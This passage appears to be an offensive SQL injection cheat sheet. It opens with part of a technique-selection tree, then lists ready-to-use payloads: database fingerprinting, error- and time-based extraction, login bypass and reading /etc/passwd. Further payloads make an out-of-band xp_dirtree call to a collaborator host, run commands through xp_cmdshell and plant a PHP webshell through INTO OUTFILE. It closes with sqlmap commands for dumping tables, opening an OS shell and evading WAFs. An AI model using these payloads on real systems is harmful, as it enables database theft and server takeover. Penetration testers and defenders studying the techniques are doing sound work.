│ └── UNION-based → efficient extraction
│
├── No visible output, responses differ (TRUE vs FALSE)?
│ └── Boolean-based blind → character-by-character
│
├── No output difference, but delays measurable?
│ └── Time-based blind → slower, reliable
│
├── No in-band channel works?
│ └── Out-of-band (DNS/HTTP) via Burp Collaborator or interactsh
│
├── Database allows ; (MSSQL / PostgreSQL)?
│ └── Stacked queries → enables xp_cmdshell, file writes, DDL
│
└── Found injection in stored/profile field?
└── Check for second-order injection

-- ── Fingerprint DB ──
AND 'foo' 'bar'='foobar'               -- MySQL
AND DATALENGTH('foo')=3                -- MSSQL
AND TO_HEX(1)='1'                      -- PostgreSQL
AND LENGTHB('foo')='3'                 -- Oracle
AND GLOB('foo*','foobar')=1            -- SQLite

-- ── Get Version ──
' UNION SELECT @@version -- -          -- MySQL / MSSQL
' UNION SELECT version() -- -          -- PostgreSQL
' UNION SELECT banner FROM v$version WHERE ROWNUM=1 -- -  -- Oracle
' UNION SELECT sqlite_version() -- -   -- SQLite

-- ── Time-Based Confirm ──
' AND SLEEP(5) -- -                    -- MySQL
' AND PG_SLEEP(5)='x' -- -             -- PostgreSQL
'; WAITFOR DELAY '0:0:5' -- -          -- MSSQL
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1 -- -  -- Oracle

-- ── Error-Based (MySQL) ──
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT database()),0x7e)) -- -

-- ── Error-Based (MSSQL) ──
' AND 1=CONVERT(INT,(SELECT @@version)) -- -

-- ── Error-Based (PostgreSQL) ──
' AND CAST((SELECT version()) AS INT)=1337 -- -

-- ── Auth Bypass ──
admin'-- -                              -- comment out password check
' OR '1'='1                             -- always true (avoid in prod)

-- ── File Read ──
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL -- -    -- MySQL
' UNION SELECT NULL,PG_READ_FILE('/etc/passwd'),NULL -- - -- PostgreSQL

-- ── OOB (MSSQL) ──
'; EXEC master..xp_dirtree '//COLLABORATOR.oastify.com/a' -- -

-- ── xp_cmdshell ──
'; EXEC xp_cmdshell 'whoami' -- -       -- MSSQL (if enabled)

-- ── Write Webshell (MySQL) ──
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/c.php' -- -

sqlmap -u "URL?id=1" --dbs                         # list databases
sqlmap -u "URL?id=1" -D db --tables                # list tables
sqlmap -u "URL?id=1" -D db -T users --dump         # dump table
sqlmap -r req.txt --level=5 --risk=3               # from Burp request
sqlmap -u "URL?id=1" --os-shell                    # interactive OS shell
sqlmap -u "URL?id=1" --tamper=space2comment        # WAF bypass
sqlmap -u "URL?id=1" --technique=T --time-sec=8    # time-based only